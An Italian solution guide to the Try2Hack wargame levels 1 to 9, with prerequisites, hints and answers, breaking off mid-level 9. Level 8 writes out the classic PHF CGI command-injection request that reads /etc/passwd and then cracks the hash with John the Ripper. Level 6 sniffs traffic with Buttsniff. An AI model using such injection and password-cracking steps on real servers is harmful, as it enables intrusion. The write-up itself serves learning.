--==::°-E-t-E-r-N-i-T-y-C-r-E-w-°::==--

Soluzione ragionata del gioco Try2Hack http://www.try2hack.nl/

Autori:
Iron Bishop ildemiurgo@libero.it (1-8, inizio 9, 10, correzioni, aggiornamenti)
LordBlack lordblack@email.it (fine 9, revisione)

Disponibilità:
http://www.zonaitalia.it/test/try2hack.html (IT)
http://207.44.136.44/membri/Eternity6/hacking/try2hack.html (IT) mirror

Per distribuire in altri luoghi questo documento *SOLO se riportato nella sua interezza e senza alcuna modifica, compresa questa stessa nota* bisogna mettersi d'accordo con l'autore. Si chiede di fornire all'autore (1)l'url di ogni mirror in modo che possa essere inserito nel paragrafo precedente (2)un indirizzo email in modo che l'autore avvisi i mirror quando aggiorna il documento. Per l'ultima versione disponibile si veda la release ufficiale. E' ovviamente VIETATO fingersi autore di questo documento.

Errata & Feedback: gli errori sono corretti direttamente nel testo.
Ultima modifica: 21 settembre 2002 "Computer science is not about computers any more than astronomy is about telescopes." EW Dijkstra

Per riportare errori, concordare mirror, creare traduzioni e discutere su questo documento si faccia riferimento al canale #PCE @ irc.azzurra.org (un membro dello staff di Iron Bishop, pronto ad ascoltare richieste suggerimenti e critiche costrutive, è presente dalle 21,00 alle 23,00 circa - se il tempo vi sembra poco prendetevela con quei **** di Wind-Libero SpA che hanno spostato l'inizio della fascia oraria di Libero@sogno dalle 18,30 alle 21 - nel caso sia in away lasciare un messaggio in query e attendere).


Abstract:

Questo documento vuole essere una soluzione completa ed esaustiva del Try2Hack.
Il Try2Hack è un gioco con 10 livelli (più 1 bonus - attualmente non contemplato) di difficoltà crescente nel quale bisogna avanzare scoprendo le password nascoste in script, file, programmi, server e eggrop utilizzando le proprie conoscenze informatiche. Non è niente di complicato, basta usare la testa.

In questa guida ogni livello viene affrontato in tre tempi: prerequisiti, suggerimento e soluzione.
Molte persone troveranno sovrabbondanti alcune parti: questo testo è stato creato per essere comprenso anche da chi ha difficoltà a superare il primo livello.

Il modo migliore per affrontare questo testo è andare per gradi: leggere e compredere i prerequisiti è fondamentale; dopodichè è consigliabile provare a dare una soluzione ragionando con la propria testa; se ancora non si riesce a risolvere, leggere il suggerimento e riprovare a ragionare. Per ultimo e solo dopo ripetuti tentativi, leggere la soluzione.

Nella stesura di questo documento si è cercato di inserire link esterni che rendono possibile l'approfondimento degli argomenti incontrati nei vari livelli.

Parentesi dell'autore Iron Bishop:
Non avrei mai pensato di trovare tanta ottusità in rete. Io cerco di capire a fondo i livelli, il loro sviluppo e il metodo di risoluzione... mi trovo di fronte a tanti pezzenti che fanno i gradassi spandendo password e url a destra e a manca... questi pezzenti però non sono in grado di dare una spiegazione esaustiva del metodo da loro utilizzato per la soluzione: e il motivo è semplice: si son fatti dire login, pass, url... Sono arrivati alla soluzione senza conoscere il procedimento per raggiungerla. Just Be SOSS: Serietà, Onesta, Sincerità e Schiettezza. Molti ci aggiungono "umiltà", ma a me non pare giusto.

Dato che nel forum HackerJournal vige la CENSURA di Bismark, io pubblico questa guida in un altro spazio. A tale proposito sono d'accordo con la cancellazione dell'account di Patologia (il quale non può permettersi di insultare tutti gli ignoranti che incontra), ma NON con la cancellazione di TUTTI i suoi post. Per quanto il suo comportamento fosse schifoso, egli non si è mai fatto cogliere a dire falsità e dunque non trovo giusta la cancellazione dei suoi post. Questa è la mia ultima parola sull'argomento 23/06/02.

Tanto per dirla tutta, trovo scorretto il fatto che Bismark abbia inserito in HJ il gioco Try2Hack come un contenuto INTERNO del sito, mentre nessuno di HJ ha alcun collegamento con http://www.try2hack.nl/. Poco dopo la prima stesura di questo testo ho fatto presente la cosa allo stesso Bismark, che ha detto "il frame è per non far perdere il contatto con il sito HJ"; alla mia osservazione "per non far perdere il contatto basta un target=_blank" ha risposto "ci penserò"... infatti si vede come ci ha pensato: ancora oggi ci sono persone (le quali dovrebbero essere le prime a cui hj dovrebbe andare incontro) che non riescono a superare il livello 1 perchè vedono solo l'HTML del frameset creato dal Bismark! Rimane solo da dire: accessibilità per tutti da quelle parti -_-''

Un redattore di HJ ci ha contattati giudicando questo testo "una guida molto ben fatta (soprattutto per lo spirito con cui portate il lettore alle conclusioni indicando tutti i presupposti necessari alla soluzione del livello)."


Indice dei Contenuti:
  1. Ground 0 IMPORTANTE!
  2. Livello 1 HTML, Javascript
  3. Livello 2 Macromedia Flash
  4. Livello 3 JavaScript
  5. Livello 4 File Temporanei, Java
  6. Livello 5 Visual Basic
  7. Livello 6 Sniffing dei dati, cenni di criptanalisi
  8. Livello 7 Intestazioni del protocollo HTTP
  9. Livello 8 Exploit di un vecchio CGI
  10. Livello 9 Criptanalisi, IRC, eggdrop
  11. Livello 10 Comprendere un programma in Java

Ground 0

Per evitare equivoci chiariamo subito che HackerJournal non ha alcuna connessione con Try2Hack: per iniziare andate al sito http://www.try2hack.nl/level1.html

Di qualsiasi cosa abbiate bisogno, molto probabilmente qualcuno ha già pensato a pubblicarla in rete. Per trovarla basta usare www.google.it, attualmente il motore di ricerca migliore. Se state cercando qualcosa di illegale non meravigliatevi di non trovarlo da nessuna parte (spesso, nemmeno con Google).

I manuali dei programmi esistono per un motivo preciso: vanno letti. E' inutile chiedere a qualcuno di spiegarvi ciò che non capite se esiste già un manuale che risponde esaustivamente alla domanda. Se il manuale ufficiale è scritto in una lingua a voi sconosciuta (e non presenta traduzioni ufficiali) cercatene una non ufficiale in una lingua che conoscete con www.google.it.
RTFM = Read The Fucking Manual (="leggi il fottuto manuale").

BFI www.s0ftpj.org/bfi/ è l'ezine hacking/cracking migliore d'italia; altre ezine sono OndaQuadra http://www.ondaquadra.org/, NoFlyZone http://www.noflyzone.org/ e un sacco di altre.

Se ti interessa approfondire la conoscenza di Linux ma non sai da dove cominciare, cerca il LUG (Linux User Group) più vicino a te su http://www.linux.it/. Un'altro sito molto importante è http://www.pluto.it/, che realizza ILDP (Italian Linux Documentation Project).

All'indirizzo www.tuxedo.org/~esr/jargon/ si trova un utile dizionario informatico.

Per chi usa questo gioco come una sorta di "trampolino di lancio" verso l'hacking (o robe simili), diciamo subito che sta sbagliando tutto. Si veda l'articolo "How To Become a Hacker" o la sua traduzione in italiano.

Le RFC (Request For Comments) sono i documenti ufficiali di Internet; leggerli è molto importante in quanto ne descrivono il funzionamento nei minimi particolari (ad esempio i protocolli, oppure le abitudini); le versioni uficiali si trovano a http://www.rfc-editor.org/ e in molti mirror sparsi in tutto il mondo.

Per informazioni su OpenOffice.org, la suite per ufficio opensource sponsorizzata da Sun Mycrosystem, fare riferimento alle seguenti pagine web (dovrebbero esserci anche traduzioni in italiano da qualche parte: ma imparare l'inglese toglie un sacco di problemi):
A proposito di OpenOffice.org: www.openoffice.org/about.html
FAQ sulle licenze: www.openoffice.org/FAQs/faq-licensing.html
La Public Documentation License: www.openoffice.org/licenses/pdl.pdf
La Joint Copyright Assignment: www.openoffice.org/licenses/jca.pdf

Per essere informati su quanto accade nel "mondo dell'informatica" non serve andare in edicola: http://www.slashdot.net/ (inglese, notizie varie), http://www.securityfocus.org/ (inglese, sicurezza), http://punto-informatico.it/ (italiano, notizie varie), http://www.portazero.info/ (italiano, sicurezza). Per quanto riguarda Linux, il Pluto realizza PlutoJournal una Mailing List sulla quale vengono postati articoli principalmente su Linux, tramite la quale si possono anche chiedere informazioni: ci si può iscrivere su lists.pluto.linux.it/mailman/listinfo/pluto-journal. Questi sono solo alcuni dei moltissimi siti che si occupano di informazione.
Parentesi: rubriche come quella di HJ sono totalmente inutili; le notizie pubblicate sono già vecchie prima ancora di arrivare in edicola e rubano solo spazio a possibili altri articoli - che d'altro canto, data la rivista, rimangono solo *ipoteticamente* migliori.

Questa soluzione è stata realizzata utilizzando "MS-Windows 98" e Mozilla 1.0. L'autore ha dato per scontato che si conosca il modo di navigare e cercare in Internet, di scaricare programmi, di usare programmi da riga di comando, di copiare e creare file.

Quegli utenti che ancora si ostinano a usare "MS Internet Explorer" farebbero bene a disfarsene ed a usare Mozilla. Tuttavia inizialmente si troveranno indicazioni anche per "MS Internet Explorer", indicate con la sigla IE.

NSlPdBN == non sottovalutate la potenza di Blocco Note. Specifichiamo per quei due o tre marziani che leggono: si trova attraverso il menu "Start", "Programmi", "Accessori".

^Indice dei Contenuti^


Livello 1

Prerequisiti

I linguaggi HTML e JavaScript sono linguaggi interpretati: questo significa che è sempre possibile leggere il codice sorgente di documenti fatti con questi linguaggi.
Per farlo è suficiente utilizzare il menù "View" (in IE: "Visualizza") e selezionare "Page Source" (in IE: "HTML"): il testo che vedete è l'HTML della pagina, al cui interno si trovano tutti gli elementi della pagina indicati dai rispettivi tag HTML (ad esempio
<IMG> per le immagini). I programmi scritti in JavaScript sono indicati con il tag <SCRIPT language="JavaScript">

La reference ufficiale del linguaggio HTML si trova all'interno dei documenti prodotti dal W3C, all'url http://www.w3.org/MarkUp/.

Un ottimo libro sul JavaScript, completo di reference aggiornata alla versione 1.3
è "JavaScript: La Guida", scritto da Brendan Eich, ApoGeoO'Reilly (850 pagine, 40 euro).

Un ottimo libro sull'usabilità (un concetto molto importante all'interno della progettazione e dello sviluppo di un buon sito web) è "
Don't make me THINK" di Steve Krug, edizioni Hops (185 pagine, 33 euro).

Anche "Homepage Usability", di Jacob Nielsen e Marie Tahir, Apogeo (300pagine 45 euro) è un buon libro sull'usabilità. Appare però troppo costoso in rapporto al contenuto.

Suggerimento

Inserendo una password a caso e cliccando, la pagina risponde con un alert() in JavaScript. Quindi la "protezione" si basa su un JavaScript, il cui codice sorgente può essere visualizzato.

Soluzione

Visualizzando l'HTML della pagina si nota subito il programma in JavaScript, e in particolare questa parte: if (passwd =="hackerzzz"){ alert("Alright ! On to level 2 ..."); location.href = "levvel2.html"; }

Quel codice significa: "SE la password inserita è hackerzzz ALLORA comunicalo all'utente e passa al livello successivo di nome levvel2.html".

Non c'è bisogno di dire che inserendo la parola hackerzzz e cliccando sul tasto "Click here to continue" si passa senza problemi al livello successivo.

^Indice dei Contenuti^


Livello 2

Prerequisiti

I file di Macromedia Flash vengono creati a partire da un codice in chiaro e facilmente modificabile, che in fase di progettazione del filmato viene salvato per comodità in formato .FLA; questo tipo di file non può essere letto dal Macromedia Flash Player in quanto è pensato per la progettazione.
Una volta finito, il lavoro viene compresso ed esportato in formato SWF e il file non è più modificabile direttamente; il file SWF viene letto dal Macromedia Flash Player e dai relativi Plugin integrati dai browser più diffusi (Mozilla, Netscape e IE) che visualizzano i filmati riconoscendo i tag <OBJECT> e <EMBED>
Avendo un file SWF, si può risalire al suo codice sorgente decompilandolo, utilizzando un decompiler rintracciabile attraverso http://www.google.it/

Il sito della Macromedia è http://www.macromedia.com/; al suo interno è disponibile sotto forma di shareware il recente Macromedia Flash MX; tramite l'utilizzo di questo programma è possibile creare filmati in Flash. Per creare dei semplici filmatini in Flash esiste anche SWiSH disponibile sotto forma di shareware su http:///.

Un libro su Macromedia Flash che ho letto è "Flash4 - Tutto e oltre", di Robert Reinhardt e Jon Warren Lentz, Apogeo. E' un po' vecchio, in effetti.

Suggerimento

Inserendo un username e una password a caso e cliccando, la pagina NON risponde... la si può saltare ma serve l'url della pagina successiva. La "protezione" si basa sul file SWF. Tale file anche se non è modificabile, è comunque leggibile attraverso un editor testuale (es: blocco note).

Soluzione

Visualizzando l'HTML della pagina troviamo immediatamente il tag <OBJECT> che indica la presenza del filmato Flash. Leggendo la proprietà <param NAME=movie> ricaviamo senza problemi il nome del filmato: FlashLevel2.swf. Possiamo recuperare il file all'interno della cartella dei file temporanei oppure scaricarlo inserendo nella barra degli indirizzi il suo url (ovvero http://try2hack.nl/FlashLevel2.swf) e selezionando dal menu "File" la voce "Save As..." (in IE "Salva con nome...").
A questo punto aprendo Blocco Note e cliccando sul menu "File", "Apri..." e selezionando il file appena scaricato possiamo leggere la soluzione.

Fra la miriade di caratteri illeggibili spiccano le parole txtUsername, Try2Hack, txtPassword, NokiaIsGood, LLeVeLL3.html ...il secondo livello è risolto: per passare al terzo non resta che andare alla pagina LLeVeLL3.html (url completo: http://try2hack.nl/LLeVeLL3.html).

C'era anche la possibilità di utilizzare un decompiler: una volta trasformato il file in formato FLA per sapere l'url era sufficiente leggere la proprietà URL della ACTION getURL relativa all'oggetto "Button". Chi non conosce Flash si troverà meglio col metodo del Blocco Note.

^Indice dei Contenuti^


Livello 3

Prerequisiti

Per poter visualizzare una pagina, il browser deve prima trovarla e poi iniziare a scaricarla; dopo averla scaricata la visualizza. Utilizzando il pulsante "Stop" (in IE: "Termina") si può fermare il caricamento della pagina e rimanere a quella attuale.

In JavaScript è possibile caricare uno script "esterno" (ovvero non scritto nella pagina html in cui deve essere avviato), attraverso la proprietà <SCRIPT SRC="nome_del.file">. Questa opzione è molto utile se ci si trova nella necessità di ripetere uno stesso script su più pagine.

Un file può benissimo non avere estensione.

Suggerimento

La pagina presenta un alert() JavaScript. Quindi la "protezione" si basa su un JavaScript, il cui codice sorgente può essere visualizzato.

Soluzione

Visualizzando l'HTML della pagina si nota subito il tag <script src="JavaScript"></SCRIPT> che indica che lo script esterno risiede in un file di nome "javascript".

Inserendo nella barra degli indirizzi l'url del file (http://www.try2hack.nl/javascript) possiamo leggere la password esatta (TheCorrectAnswer) e l'url del livello successivo (thelevel4.html).

^Indice dei Contenuti^


Livello 4

Prerequisiti

Il Java è un linguaggio sicuro, portabile, semplice, orientato a oggetti, robusto, multiprocesso (multithread), indipendente dall'architettura, interpretato, distribuito, dinamico e ad alte prestazioni creato dalla Sun MicroSystem.
Fra i suoi pregi maggiori ci sono la assoluta portabilità del codice (uno stesso programma può girare su qualsiasi sistema grazie al bytecode e alle Java Virtual Machine) e la libertà di utilizzo dei compilatori, distribuiti come freeware dal sito ufficiale java.sun.com. Sul Sito ufficiale si trova anche una reference completa.

Per chi vuole cominciare a programmare, Java è molto appropriato.

Per poter leggere il codice sorgente di un programma serve un "decompiler" che trasformi il bytecode in codice leggibile, reperibile attraverso http://www.google.it/.
Un ottimo libro su Java, aggiornato al JDK1.3 è "Java2: La Guida Completa", scritto da Herbert Shildt, McGrawHill (998 pagine, 60 euro).

Suggerimento

"Decompilare" il programma e leggerlo.

Soluzione

Leggendo il programma decompilato, si nota l'istruzione infile = new String("level4"); (che inizializza una stringa "leve4") seguita da inURL = new URL(getCodeBase(), infile); (che utilizza tale stringa come argomento di getCodeBase(), una funzione che carica il contenuto del file corrispondente all'url).

Di consenguenza, emulando quanto fatto dall'applet e leggendo il file http://www.try2hack.nl/level4 si trova scritto in chiaro l'url del livello successivo: 5_level_5.html

^Indice dei Contenuti^


Livello 5

Prerequisiti

Il Visual Basic è un linguaggio compilato orientato ad oggetti creato da Microsoft, che ad intervalli regolari ne sforna una versione nuova per creare un po' di casino. Per informazioni sulla più recente uscita di Microsoft, la piattaforma .NET, si veda http://www.microsoft.com/. L'ambiente di sviluppo Visual Basic, nel caso in cui si volesse usarlo, andrebbe comprato e non costa neppure poco. I decompiler per alcune versioni di visual basic (principalmente per la 3) si trovano su http://www.google.it/

Tra i linguaggi di programmazione, l'uso di Visual Basic da parte mia è Fortemente Sconsigliato. Molto meglio Java.

In questo livello troviamo un file compresso: attualmente il miglior programma di compressione/decompressione/split di archivi per Windows è WinRAR http://www.rarsoft.com/

Suggerimento

Decompilare il file contenuto in level5.zip

Soluzione

Dopo aver scaricato decompresso e decompilato il file (ad esempio attraverso questo decompilatore o http://www.decompiler.net/) bisogna capire cosa fa il programma.

Le istruzioni

Const mc001A = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.,:;-*+=~|&!_$#@()[]{}<\/>"
Const mc001E = "http://www.try2hack.f2s.com/login-level6.html"

creano delle constanti di tipo stringa che verranno utlizzate all'interno del programma e vanno tenute in estrema considerazione.

Questo è il punto in cui il programma controlla l'username:

If txtUsername <> Mid(mc001A, 56, 1) & Mid(mc001A, 28, 1) & Mid(mc001A, 35, 1) & Mid(mc001A, 3, 1) & Mid(mc001A, 44, 1) & Mid(mc001A, 11, 1) & Mid(mc001A, 13, 1) & Mid(mc001A, 21, 1)

Questo è il punto in cui il programma controlla la password:

If txtPassword <> Mid(mc001A, 51, 1) & Mid(mc001A, 31, 1) & Mid(mc001A, 30, 1) & Mid(mc001A, 51, 1) & Mid(mc001A, 16, 1) & Mid(mc001A, 45, 1) & Mid(mc001A, 24, 1) & Mid(mc001A, 29, 1) & Mid(mc001A, 26, 1) & Mid(mc001A, 19, 1) & Mid(mc001A, 28, 1) & Mid(mc001A, 11, 1) & Mid(mc001A, 30, 1) & Mid(mc001A, 19, 1) & Mid(mc001A, 25, 1) & Mid(mc001A, 24, 1)

Questo è il punto in cui il programma crea l'url:

l003C$ = Left$(mc001E, 28) & Mid(mc001A, 22, 1) & Mid(mc001A, 67, 1) & Mid(mc001A, 15, 1) & Mid(mc001A, 67, 1) & Mid(mc001A, 32, 1) & Mid(mc001A, 67, 1) & Mid(mc001A, 15, 1) & Mid(mc001A, 67, 1) & Mid(mc001A, 22, 1) & Mid(mc001A, 67, 1) & Mid(mc001A, 7, 1) & Mid(mc001A, 63, 1) & Mid(mc001A, 18, 1) & Mid(mc001A, 30, 1) & Mid(mc001A, 23, 1) & Mid(mc001A, 22, 1)

A questo punto conosciamo tutte le parti importanti del programma.
La funzioni left$(str, n) restituisce i primi n caratteri della stringa str; la funzione Mid(str, n, m) restituisce i primi m caratteri della stringa str a partire dal carattere n. Ad esempio Left$(mc001E, 28) indica le prime 28 lettere della seconda stringa; Mid(mc001A, 22, 1) indica la ventiduesima lettera della prima stringa (dunque la "l").

Conoscendo il significato delle funzioni, è banale ricavare la soluzione:
lo username è: Try2Hack
la password è: OutOfInspiration
l'url è: http://www.try2hack.f2s.com/l-e-v-e-l-6.html

Per quanto corretto, quell'url non è valido; se ne sono accorti anche gli autori, che hanno reso disponibile http://www.try2hack.nl/l-e-v-e-l-6.html. F2s.com ha cancellato il loro account.

^Indice dei Contenuti^


Livello 6

Prerequisiti

Un proxy è un server di transito; usando un proxy per connetterci a un altro server in pratica noi ci connettiamo al proxy, gli diciamo di connettersi all'altro server e di rimandarci la risposta. Un proxy può essere usato per nascondere la propria identità all'altro server (e di conseguenza navigare con una maggiore anonimità). Per una lista di proxy anonimi fare riferimento a http://www.multiproxy.org/ e cercare attraverso http://www.google.it/

Esistono programmi detti sniffer che intercettano tutte le comunicazioni che passano dalle porte di un server. Sono usati principalmente per scoprire cosa si "dicono" due server. Per trovare uno sniffer è meglio usare neworder.box.sk

I server che scambiano informazioni importanti (ad esempio numeri di carte di credito) hanno il dovere di prevenire i rischi di sniffing da parte di persone non autorizzate. Di conseguenza criptano i dati per impedire a terzi di conoscerne il contenuto. Per maggiori informazioni sulle connessioni criptate si faccia riferimento a http://www.openssl.org/ e http://www.stunnel.org/; sulla critografia a doppia chiave numerica http://www.pgpi.org/.

Windows possiede alcuni comandi di rete accessibili da riga di comando (il prompt di MS-DOS): alcuni di questi sono netstat n (serve a capire quali connessioni TCP sono in corso; il controllo viene effettuato ogni n secondi e può essere fermato tramite CTRL+C) e ipconfig (visualizza informazioni sul server quali l'ip in uso, il dns e il gateway predefiniti).

Suggerimento

Usare uno sniffer per scoprire cosa si dicono client e server.
B*C*N**N significa Francis Bacon.

Soluzione

Cercando "sniffer" su Neworder, fra gli altri esce lo sniffer dei cDc ("cult of the Dead cow", i creatori di BackOrifice per interderci). Data l'esperienza e la dimostrata affidabilità del gruppo, scegliamo il loro sniffer: "Buttsniff".
Molti antivirus segnalano che Buttsniff è un programma dannoso. Se istallato su una macchina di cui non si è proprietari, può servire per spiare gli utenti. Per quanto riguarda l'uso necessario alla soluzione di questo livello non dà nessun problema.

Avviamo level6-VB6.exe e inseriamo un nick e una password a caso. Poi procediamo a capire quali porte usa per connettersi e a quale host si connette. Avviato il prompt di MS-DOS si scriva netstat 2; dopo un paio di giri (cliccare su "Login", attendere il report del netstat, controllare le porte) si riescono a scartare le connessioni note attualmente in corso (mIRC si connette alle 6667-6669 del server IRC, Mozilla sulle porte 80 dei server HTTP, BNR2 usa il protocollo NNTP per le news...) e rimane una connessione sconosciuta verso dhammapada.mediamonks.net che altri non è che il server degli autori del Try2Hack! (il fatto che sia il loro server si capisce dai credits nella homepage del Try2Hack)

Una volta scoperto l'host remoto serve conoscere le porte locali usate dal programma: attraverso il netstat troviamo qualcosa tipo 1134, 1165, 1147, 1138... approssimativamente il range è 1100-1200.
Il Buttsniff si avvia dal prompt di MS-DOS e se eseguito mostra la frase: Usage: buttsniff -{idl} arguments che ne spiega il funzionamento; dato che per risolvere il livello dobbiamo sapere cosa si scambiano client e server la cosa migliore è utilizzare il parametro -d in quanto permette di loggare le comunicazioni intercettate su un file. Per sapere il numero del device istallato basta eseguire buttsniff -l: l'autore ha trovato 0. Non serve altro che cominciare a sniffare: per sapere il contenuto dei pacchetti useremo il filtro e. Il comando finale risulta buttsniff -d 0 level6log.txt e 1100-1200
Fatto partire lo sniffer non resta che cliccare su "Login" e avviare la connessione col server (il programma ovviamente dirà ancora che la password è errata). Chiuso Buttsniff si proceda alla lettura di level6log.txt; le parti da tenere in considerazione sono:

Content-Type: text/plain (ENCRIPTION TYPE) B*C*N**N (USERNAME) ababa abbab baaaa aaabb (PASSWORD) ababa aaaaa abbaa abbba aaaaa baaaa baaba babba (PAGE) ababa aabaa baabb aabaa ababa baaab aabaa baabb aabaa ab

Risulta evidente che username, password e url sono criptati. Si nota che sono stringhe di cinque caratteri composte solo da "a" e "b". L'ultima stringa è incompleta, probabilmente a causa dello sniffer. E' un metodo inventato da Francis Bacon (1561-1626): un sistema crittografico nel quale gli equivalenti di tale sistema sono gruppi di cinque lettere e il sistema risultante è monoalfabetico. Bacon usa un sistema di cifratura a 24 lettere con I e J, U e W usate in modo intercambiabile:

       A =  aaaaa      I/J  = abaaa       R  = baaaa
       B =  aaaab       K   = abaab       S  = baaab
       C =  aaaba       L   = ababa       T  = baaba
       D =  aaabb       M   = ababb      U/V = baabb
       E =  aabaa       N   = abbaa       W  = babaa
       F =  aabab       O   = abbab       X  = babab
       G =  aabba       P   = abbba       Y  = babba
       H =  aabbb       Q   = abbbb       Z  = babbb
Bacon descrisse l'effetto della steganografia su messaggi nascosti in un 'innocuo' messaggio esterno. Supponiamo che le lettere maiuscole rappresentino l'elemento "a"; e quelle minuscole rappresentino l'elemento "b";.Il messaggio "All is well with me today" può essere usato per nascondere il messaggio "Help." Cioè:
    A  L  l  i  s    W E l L   W    I t H  m E   T o d a Y
    a  a  b  b  b    a a b a   a    a b a  b a   a b b b a
          H              E              l            P

Bacon descrive molte altre variazioni del sistema. Utilizzando la tabella di cui sopra, la soluzione risulta:

username: lord
password: lanparty
url: leuelseue* oppure levelseve*

L'asterisco sta al posto della lettera incompleta. Inserendo "lord" e "lanparty" nel programma, viene svelata la soluzione: "levelseven.html"; a conferma si noti che la "n" è una delle lettere il cui codice comincia con "ab".

^Indice dei Contenuti^


Livello 7

Prerequisiti

Attraverso un linguaggio di programmazione server-side (come ad esempio ASP, PHP, CGI) è possibile conoscere un gran numero di caratteristiche del browser che visita la pagina, attraverso una serie di intestazioni appartenenti al protocollo HTTP che identificano il tipo di browser, il sistema operativo, la presenza di cookies, la pagina visitata precedentemente, la nazione da quale si connette l'utente e molti altri.

Per conoscere meglio PHP: http://www.php.net/

Suggerimento

Usare il programma Curl.

Soluzione

L'url "http://www.try2hack.nl/cgi-bin/level7.pl" presenta una pagina che pone tre condizioni per l'entrata: avere IE 6.72, avere un sistema UNIX/LINUX, provenire dalla pagina "http://www.microsoft.com/ms.htm". Appare evidente che le condizioni sono impossibili da realizzare. Dato che lo script analizza le intestazioni HTTP generate dal nostro browser, per passare il livello dovremo "falsificare" queste informazioni.

cURL
è un programma Open Source curl.haxx.se che fa proprio al caso nostro: permette di personalizzare completamente il pacchetto da mandare al server. Una volta scaricato bisogna capire come funziona. I documenti sul sito spiegano eccellentemente il suo funzionamento. Per fingere di utilizzare IE 6.72 basta servirsi del parametro -a che imposta l'USER AGENT, ovvero la versione del browser in uso. Questo contiene anche la specifica del sistema operativo. Per fingere di provenire da un url basta servirsi del parametro -e che imposta il REFERRER ovvero l'url dal quale si arriva. Inoltre bisogna salvare l'output su un file: basta usare il parametro -o. Il comando da dare a cURL è quindi:
curl -A "Mozilla/4.0 (compatible; MSIE 6.72; Linux 2.2.15 i686)" -e http://www.microsoft.com/ms.htm http://www.try2hack.nl/cgi-bin/level7.pl -o livello7.txt

Dal prompt di MS-DOS si incontra un problema: il comando è troppo lungo e non sta nella riga. Per aggirare l'ostacolo basta dare il comando attraverso "Start" "Esegui..." tenendo presente che bisogna utilizzare il percorso assoluto del file (ad esempio c:\downloads\cUrL\curl.exe...).

Dopo aver eseguito il comando, aprendo il file livello7.txt appare:
Url: level-8.html
Password della messageboard: TonyHawk2

^Indice dei Contenuti^


Livello 8

Prerequisiti

I CGI sono dei veri e propri programmi che girano sul server: di conseguenza un bug all'interno di uno di questi file può creare una grossa falla di sicurezza nell'intero server. Nel corso degli anni sono stati scoperti e corretti innumerevoli bug: solo i più recenti possono permettere di scoprire le password degli utenti, perchè l'amministratore può essere in ritardo con gli aggiornamenti del sistema. Per essere informati su bug ed exploit http://www.sikurezza.org/

Nei server *nix le password vengono salvate all'interno del file /etc/passwd nel formato username:password_criptata; le password sono criptate in DES oppure "shadowate". Una password shadow è nascosta in un file diverso da /etc/passwd.

DES significa Data Encryption Standard: cripta un testo privato (o una password) in un output "scramblato" secondo una chiave segreta. Il testo iniziale è anche detto "plaintext", e il risultato del criptaggio "ciphertext". L'idea è che solo il destinatario che conosce la chiave segreta può decriptare il "ciphertext" e leggere il messaggio originale. Il DES usa una chiave a 56 bit, dunque ci sono 2^56 possibili chiavi. Nel 1998 la EFF, Electronic Frontier Foundation, ha pubblicato un documento nel quale prova la possibilità di crackare tale metodo di criptaggio.

Il più famoso decriptatore di password DES è John The Ripper, reperibile su http://www.google.it/

Suggerimento

Guardare l'HTML. Cercare un exploit.

Soluzione

Come si nota dall'HTML <form ACTION="cgi-bin/phf.cgi" ...>, lo script che sovrintende il login è il PHF-CGI! Uno dei più vecchi e famosi bug della storia del web.
Utilizzando http://www.google.it/ in pochi secondi si trova il modo di sfruttare il bug, attraverso la richiesta http://www.domain.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd il che significa pressappoco "ordina al PHF di eseguire il programma cat sul file delle password". Cat è un editor: il risultato è il file /etc/passwd in chiaro.

Rispetto al server T2H: http://www.try2hack.nl/cgi-bin/phf.cgi?Qalias=x%0a/bin/cat%20/etc/passwd
La risposta del server: username BuiZe, password criptata DES Bu3kOx4cCMX2U

Ora serve John The Ripper per decriptare la password.
Avviato John The ripper si proceda a capirne il funzionamento; per poterlo usare bisogna dargli un file da leggere. Si apra Blocco Note, si scriva BuiZe:Bu3kOx4cCMX2U e si salvi nella cartella di John col nome pass.txt
Eseguito il comando john pass.txt basta aspettare circa mezz'ora (la durata dipende anche dalla potenza del computer): il buon "Little John" ci offre la password arsanik

Livello risolto!
Le istruzioni per il livello 9 sono: entrare nel canale #try2hack @ irc.quakenet.org e querare il bot'TRY2HACK' (dicendo "perfect-start").

^Indice dei Contenuti^


Livello 9

Prerequisiti

Conoscenza dell'uso di client IRC. Il client Windows più usato in assoluto è mIRC http://www.mirc.com/. Per linux è BitchX http://www.bitchx.org/

Si veda www.panservice.it/simplecity/ircfaq.html, www.panservice.it/simplecity/opguide.html e www.zonaitalia.it/test/guida.html.

L'algoritmo base64 codifica dei dati in modo tale che essi siano rappresentabili con un sottoinsieme visualizzabile dei caratteri ASCII. I caratteri usati sono in tutto 65 (64 per la rappresentazione più uno speciale) e sono i seguenti:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
lo speciale carattere '=' è usato come "terminatore" in casi particolari.

Gli eggdrop sono dei bot per mIRC scritti in TLC: nelle reti che non dispongono di servizi come ChanServ, NickServ e simili (ovvero tutte fino a qualche tempo fa e molte ancora adesso) servono a mantenere il controllo di un canale; sono programmi che girano su shell. Per informazioni http://www.egghelp.org/, http://www.eggdrop.net/

Suggerimento

A simbolo uguale corrisponde lettera uguale.

Soluzione

Seguendo le istruzioni (/msg TRY2HACK perfect-start) troviamo la frase da decriptare:

Wbva #gel2unpx.yriry9. Gb trg gur xrl lbh arrq gb qrpbqr gur sbyybjvat yvar:
GTI2MJj5YJ15DxVmERy1rQIZ=
Tbbq yhpx, naq frr lbh ba #gel2unpx.yriry9
.

Questo testo è criptato utilizzando il metodo Rot13 (è noto che fu usato anche da Giulio Cesare). Pertanto, per decriptarlo basta usare un programma apposta (ad esempio www.alliancestudio.com/tk/rot13.html).
Inoltre, partendo dalla chiave #gel2unpx.yriry9 = #TRY2HACK.LEVEL9 (alla quale si arriva facilmente ad intuito) e sostituendo a simbolo uguale lettera uguale, è semplice arrivare al testo decriptato:

JOIN #TRY2HACK.LEVEL9. TO GET THE KEY YOU NEED TO DECODE THE FOLLOWING LINE:
GTI2MJj5YJ15DxVmERy1rQIZ=
GOOD LUCK, AND SEE YOU ON #TRY2HACK.LEVEL9.

La lunghezza ma soprattutto il carattere "=" indicano che la stringa è criptata in base64. Decodandola (ad esempio con www.simtel.net/pub/pd/24229.html) si trova Level9-myBB3DIux5L. Usando questa chiave per entrare nel canale #try2hack.level9 si trova la successiva stringa da decodare:

01001110011010010110001101100101001000000110101001101111011000100010111000100000010011100110111 10111011100100000011101000111100101110000011001010010000000100111001011110110110101110011011001 11001000000101010001010010010110010011001001001000010000010100001101001011001000000111001101101 00001101111011101110110001001110101011001110010011100100000011101000110111100100000011100110110 010101100101001000000111010001101000011001010010000001100

